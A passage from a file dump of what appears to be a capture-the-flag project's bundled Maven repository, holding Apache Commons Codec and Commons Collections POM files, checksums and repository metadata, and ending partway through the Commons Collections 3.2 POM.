    "content": "<?xml version=\"1.0\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one or more\ncontributor license agreements.  See the NOTICE file distributed with\nthis work for additional information regarding copyright ownership.\nThe ASF licenses this file to You under the Apache License, Version 2.0\n(the \"License\"); you may not use this file except in compliance with\nthe License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n<!--\n To produce reports, use the reporting profile, for example: mvn -Preporting clean site\n You may need to use the -U option to update your environment if you get an error.  \n -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>35</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-codec</groupId>\n  <artifactId>commons-codec</artifactId>\n  <!-- Remember to update the version in default.properties as well -->\n  <version>1.10</version>\n  <name>Apache Commons Codec</name>\n  <inceptionYear>2002</inceptionYear>\n  <description>\n     The Apache Commons Codec package contains simple encoder and decoders for\n     various formats such as Base64 and Hexadecimal.  In addition to these\n     widely used encoders and decoders, the codec package also maintains a\n     collection of phonetic encoding utilities.\n  </description>\n  <prerequisites>\n    <maven>3.0.0</maven>\n  </prerequisites>  \n  <url>http://commons.apache.org/proper/commons-codec/</url>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/CODEC</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/codec/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/codec/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/codec/trunk</url>\n  </scm>\n  <distributionManagement>\n    <site>\n      <id>stagingSite</id>\n      <name>Apache Staging Website</name>\n      <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid}/</url>\n    </site>\n  </distributionManagement>\n  <developers>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n      <email>bayard@apache.org</email>\n    </developer>\n    <developer>\n      <name>Tim OBrien</name>\n      <id>tobrien</id>\n      <email>tobrien@apache.org</email>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <name>Scott Sanders</name>\n      <id>sanders</id>\n      <email>sanders@totalsync.com</email>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n      <email>rwaldhoff@apache.org</email>\n    </developer>\n    <developer>\n      <name>Daniel Rall</name>\n      <id>dlr</id>\n      <email>dlr@finemaltcoding.com</email>\n    </developer>\n    <developer>\n      <name>Jon S. Stevens</name>\n      <id>jon</id>\n      <email>jon@collab.net</email>\n    </developer>\n    <developer>\n      <name>Gary Gregory</name>\n      <id>ggregory</id>\n      <email>ggregory@apache.org</email>\n      <url>http://www.garygregory.com</url>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <name>David Graham</name>\n      <id>dgraham</id>\n      <email>dgraham@apache.org</email>\n    </developer>\n    <developer>\n      <name>Julius Davies</name>\n      <id>julius</id>\n      <email>julius@apache.org</email>\n      <organizationUrl>http://juliusdavies.ca/</organizationUrl>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <name>Thomas Neidhart</name>\n      <id>tn</id>\n      <email>tn@apache.org</email>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Christopher O'Brien</name>\n      <email>siege@preoccupied.net</email>\n      <roles>\n        <role>hex</role>\n        <role>md5</role>\n        <role>architecture</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Martin Redington</name>\n      <roles>\n        <role>Representing xml-rpc</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Jeffery Dever</name>\n      <roles>\n        <role>Representing http-client</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Steve Zimmermann</name>\n      <email>steve.zimmermann@heii.com</email>\n      <roles>\n        <role>Documentation</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Benjamin Walstrum</name>\n      <email>ben@walstrum.com</email>\n    </contributor>\n    <contributor>\n      <name>Oleg Kalnichevski</name>\n      <email>oleg@ural.ru</email>\n      <roles>\n        <role>Representing http-client</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Dave Dribin</name>\n      <email>apache@dave.dribin.org</email>\n      <roles>\n        <role>DigestUtil</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Alex Karasulu</name>\n      <email>aok123 at bellsouth.net</email>\n      <roles>\n        <role>Submitted Binary class and test</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Matthew Inger</name>\n      <email>mattinger at yahoo.com</email>\n      <roles>\n        <role>Submitted DIFFERENCE algorithm for Soundex and RefinedSoundex</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Jochen Wiedmann</name>\n      <email>jochen@apache.org</email>\n      <roles>\n        <role>Base64 code [CODEC-69]</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Sebastian Bazley</name>\n      <email>sebb@apache.org</email>\n      <roles>\n        <role>Streaming Base64</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Matthew Pocock</name>\n      <email>turingatemyhamster@gmail.com</email>\n      <roles>\n        <role>Beider-Morse phonetic matching</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Colm Rice</name>\n      <email>colm_rice at hotmail dot com</email>\n      <roles>\n        <role>Submitted Match Rating Approach (MRA) phonetic encoder and tests [CODEC-161]</role>\n      </roles>\n    </contributor>\n  </contributors>\n  <!-- Codec should depend on very little -->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.11</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <properties>\n    <maven.compiler.source>1.6</maven.compiler.source>\n    <maven.compiler.target>1.6</maven.compiler.target>\n    <commons.componentid>codec</commons.componentid>\n    <commons.release.version>1.10</commons.release.version>\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>CODEC</commons.jira.id>\n    <commons.jira.pid>12310464</commons.jira.pid>\n    <!-- Ensure copies work OK (can be removed later when this is in parent POM) -->\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <commons.encoding>UTF-8</commons.encoding>\n    <checkstyle.header.file>${basedir}/LICENSE-header.txt</checkstyle.header.file>\n  </properties>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <ignorePathsToDelete>\n              <ignorePathToDelete>archive**</ignorePathToDelete>\n            </ignorePathsToDelete>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>**/*AbstractTest.java</exclude>\n            <exclude>**/*PerformanceTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/bin.xml</descriptor>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <!-- Use 2.9.1 instead of 2.10; 2.10 seems to scan the 'target' \n        dir and wants license headers in .properties to be the header for \n        Java files. -->\n        <version>2.9.1</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n          <headerFile>${basedir}/LICENSE-header.txt</headerFile>\n        </configuration>\n        <!-- We need to specify reportSets because 2.9.1 creates two reports -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>checkstyle</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>3.2</version>\n        <configuration>\n          <targetJdk>${maven.compiler.target}</targetJdk>\n          <linkXref>true</linkXref>\n          <rulesets>\n            <ruleset>${basedir}/pmd.xml</ruleset>\n          </rulesets>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>2.5.5</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>taglist-maven-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <tags>\n            <tag>TODO</tag>\n            <tag>NOPMD</tag>\n            <tag>NOTE</tag>\n          </tags>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>javancss-maven-plugin</artifactId>\n        <version>2.0</version>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.pom.sha1",
    "content": "44b9477418d2942d45550f7e7c66c16262062d0e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-codec-1.3.pom>central=\ncommons-codec-1.3.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.jar.sha1",
    "content": "fd32786786e2adb664d5ecc965da47629dca14ba"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-codec</groupId>\n  <artifactId>commons-codec</artifactId>\n  <name>Codec</name>\n  <version>1.3</version>\n  <description>The codec package contains simple encoder and decoders for\n   various formats such as Base64 and Hexadecimal.  In addition to these\n   widely used encoders and decoders, the codec package also maintains a\n   collection of phonetic encoding utilities.</description>\n  <url>http://jakarta.apache.org/commons/codec/</url>\n  <issueManagement>\n    <url>http://nagoya.apache.org/bugzilla/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Commons&amp;component=Codec&amp;short_desc=&amp;short_desc_type=allwordssubstr&amp;long_desc=&amp;long_desc_type=allwordssubstr&amp;bug_file_loc=&amp;bug_file_loc_type=allwordssubstr&amp;keywords=&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <address>commons-dev@jakarta.apache.org</address>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2002</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <email>bayard@generationjava.com</email>\n    </developer>\n    <developer>\n      <id>tobrien</id>\n      <name>Tim OBrien</name>\n      <email>tobrien@apache.org</email>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>sanders</id>\n      <name>Scott Sanders</name>\n      <email>sanders@totalsync.com</email>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email>rwaldhoff@apache.org</email>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <email>dlr@finemaltcoding.com</email>\n    </developer>\n    <developer>\n      <id>jon</id>\n      <name>Jon S. Stevens</name>\n      <email>jon@collab.net</email>\n    </developer>\n    <developer>\n      <id>ggregory</id>\n      <name>Gary D. Gregory</name>\n      <email>ggregory@seagullsw.com</email>\n      <organization>Seagull Software</organization>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dgraham</id>\n      <name>David Graham</name>\n      <email>dgraham@apache.org</email>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Christopher O'Brien</name>\n      <email>siege@preoccupied.net</email>\n    </contributor>\n    <contributor>\n      <name>Martin Redington</name>\n    </contributor>\n    <contributor>\n      <name>Jeffery Dever</name>\n    </contributor>\n    <contributor>\n      <name>Steve Zimmermann</name>\n      <email>steve.zimmermann@heii.com</email>\n    </contributor>\n    <contributor>\n      <name>Benjamin Walstrum</name>\n      <email>ben@walstrum.com</email>\n    </contributor>\n    <contributor>\n      <name>Oleg Kalnichevski</name>\n      <email>oleg@ural.ru</email>\n    </contributor>\n    <contributor>\n      <name>Dave Dribin</name>\n      <email>apache@dave.dribin.org</email>\n    </contributor>\n    <contributor>\n      <name>Alex Karasulu</name>\n      <email>aok123 at bellsouth.net</email>\n    </contributor>\n    <contributor>\n      <name>Matthew Inger</name>\n      <email>mattinger at yahoo.com</email>\n    </contributor>\n  </contributors>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:cvs:pserver:anoncvs@cvs.apache.org:/home/cvspublic:jakarta-commons/codec</connection>\n    <url>http://cvs.apache.org/viewcvs/jakarta-commons/codec/</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <testResources>\n      <testResource>\n        <directory>src/test</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/Test*.java</include>\n            <include>**/*Test.java</include>\n          </includes>\n          <excludes>\n            <exclude>**/*AbstractTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/codec/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://jakarta.apache.org//www/jakarta.apache.org/commons/codec/</url>\n    </site>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.pom.sha1",
    "content": "c5a7a1a49dac255ed78180d5fae26cfaa5e48147  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-codec/commons-codec/1.3/commons-codec-1.3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:28 CST 2018\ncommons-collections-2.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/commons-collections-2.0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-collections</groupId>\n  <artifactId>commons-collections</artifactId>\n  <version>2.0</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/commons-collections-2.0.pom.sha1",
    "content": "b0d78d06e725d7f8176256eaeceb9d5b3f0a7bca  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/2.0/commons-collections-2.0.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:30 CST 2018\ncommons-collections-2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/commons-collections-2.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-collections</groupId>\n  <artifactId>commons-collections</artifactId>\n  <name>Collections</name>\n  <version>2.1</version>\n  <description>Commons Collections</description>\n  <inceptionYear>2002</inceptionYear>\n  <developers>\n    <developer>\n      <id></id>\n      <name>Morgan Delagrange</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id></id>\n      <name>Geir Magnusson</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id></id>\n      <name>Craig McClanahan</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>rwaldof</id>\n      <name>Rodney Waldoff</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id></id>\n      <name>David Weinrich</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n  </developers>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>**/TestAll.java</exclude>\n            <exclude>**/BulkTest.java</exclude>\n            <exclude>**/TestComparableComparator.java</exclude>\n            <exclude>**/TestComparatorChain.java</exclude>\n            <exclude>**/TestComparator.java</exclude>\n            <exclude>**/TestCursorableLinkedList.java</exclude>\n            <exclude>**/TestNullComparator.java</exclude>\n            <exclude>**/TestReverseComparator.java</exclude>\n            <exclude>**/LocalTestNode.java</exclude>\n            <exclude>**/TestAbstractIntArrayList.java</exclude>\n            <exclude>**/TestAbstractLongArrayList.java</exclude>\n            <exclude>**/TestAbstractShortArrayList.java</exclude>\n            <exclude>**/TestArrayList.java</exclude>\n            <exclude>**/TestArrayStack.java</exclude>\n            <exclude>**/TestBag.java</exclude>\n            <exclude>**/TestCollection.java</exclude>\n            <exclude>**/TestFastArrayList1.java</exclude>\n            <exclude>**/TestFastArrayList.java</exclude>\n            <exclude>**/TestFastHashMap1.java</exclude>\n            <exclude>**/TestFastHashMap.java</exclude>\n            <exclude>**/TestFastTreeMap1.java</exclude>\n            <exclude>**/TestFastTreeMap.java</exclude>\n            <exclude>**/TestIterator.java</exclude>\n            <exclude>**/TestList.java</exclude>\n            <exclude>**/TestLRUMap.java</exclude>\n            <exclude>**/TestMap.java</exclude>\n            <exclude>**/TestMultiHashMap.java</exclude>\n            <exclude>**/TestObject.java</exclude>\n            <exclude>**/TestProxyMap.java</exclude>\n            <exclude>**/TestSequencedHashMap.java</exclude>\n            <exclude>**/TestSoftRefHashMap.java</exclude>\n            <exclude>**/TestSet.java</exclude>\n            <exclude>**/TestTreeMap.java</exclude>\n            <exclude>**/TestPredicatedCollection.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.7</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/commons-collections-2.1.pom.sha1",
    "content": "03ac124c9f50b403afc9819e1f430d6883e77213  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/2.1/commons-collections-2.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:10 CST 2018\ncommons-collections-3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/commons-collections-3.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-collections</groupId>\n  <artifactId>commons-collections</artifactId>\n  <version>3.1</version>\n  <description>Types that extend and augment the Java Collections Framework.</description>\n  <inceptionYear>2001</inceptionYear>\n  <developers>\n    <developer>\n      <id>scolebourne</id>\n      <name>Stephen Colebourne</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>matth</id>\n      <name>Matthew Hawthorne</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>geirm</id>\n      <name>Geir Magnusson</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>psteitz</id>\n      <name>Phil Steitz</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>amamment</id>\n      <name>Arun M. Thomas</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Max Rydahl Andersen</name>\n    </contributor>\n    <contributor>\n      <name>Federico Barbieri</name>\n    </contributor>\n    <contributor>\n      <name>Arron Bates</name>\n    </contributor>\n    <contributor>\n      <name>Nicola Ken Barozzi</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Berry</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Chuck Burdick</name>\n    </contributor>\n    <contributor>\n      <name>Dave Bryson</name>\n    </contributor>\n    <contributor>\n      <name>Julien Buret</name>\n    </contributor>\n    <contributor>\n      <name>Jonathan Carlson</name>\n    </contributor>\n    <contributor>\n      <name>Ram Chidambaram</name>\n    </contributor>\n    <contributor>\n      <name>Peter Donald</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Rich Dougherty</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Fornari</name>\n    </contributor>\n    <contributor>\n      <name>Andrew Freeman</name>\n    </contributor>\n    <contributor>\n      <name>Gerhard Froehlich</name>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n    </contributor>\n    <contributor>\n      <name>Eric Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Kent Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Mohan Kishore</name>\n    </contributor>\n    <contributor>\n      <name>Simon Kitching</name>\n    </contributor>\n    <contributor>\n      <name>Peter KoBek</name>\n    </contributor>\n    <contributor>\n      <name>David Leppik</name>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Mazzocchi</name>\n    </contributor>\n    <contributor>\n      <name>Brian McCallister</name>\n    </contributor>\n    <contributor>\n      <name>Leon Messerschmidt</name>\n    </contributor>\n    <contributor>\n      <name>Mauricio S. Moura</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Steve Phelps</name>\n    </contributor>\n    <contributor>\n      <name>Ilkka Priha</name>\n    </contributor>\n    <contributor>\n      <name>Herve Quiroz</name>\n    </contributor>\n    <contributor>\n      <name>Daniel Rall</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Howard Lewis Ship</name>\n    </contributor>\n    <contributor>\n      <name>Joe Raysa</name>\n    </contributor>\n    <contributor>\n      <name>Michael Smith</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens</name>\n    </contributor>\n    <contributor>\n      <name>James Strachan</name>\n    </contributor>\n    <contributor>\n      <name>Leo Sutic</name>\n    </contributor>\n    <contributor>\n      <name>Neil O'Toole</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Turner</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Wagner</name>\n    </contributor>\n    <contributor>\n      <name>David Weinrich</name>\n    </contributor>\n    <contributor>\n      <name>Dieter Wimberger</name>\n    </contributor>\n    <contributor>\n      <name>Serhiy Yevtushenko</name>\n    </contributor>\n    <contributor>\n      <name>Jason van Zyl</name>\n    </contributor>\n  </contributors>\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org</url>\n  </organization>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>org/apache/commons/collections/TestAllPackages.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/commons-collections-3.1.pom.sha1",
    "content": "f1afb3351823e726793a165ca37dced8f0191370  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:33 CST 2018\ncommons-collections-3.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/commons-collections-3.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-collections</groupId>\n  <artifactId>commons-collections</artifactId>\n  <name>Collections</name>\n  <version>3.2</version>\n  <description>Types that extend and augment the Java Collections Framework.</description>\n  <url>http://jakarta.apache.org/commons/collections/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/bugzilla/</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>commons-dev@jakarta.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>scolebourne</id>\n      <name>Stephen Colebourne</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>morgand</id>\n      <name>Morgan Delagrange</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>matth</id>\n      <name>Matthew Hawthorne</name>\n      <email></email>\n      <organization></organization>\n    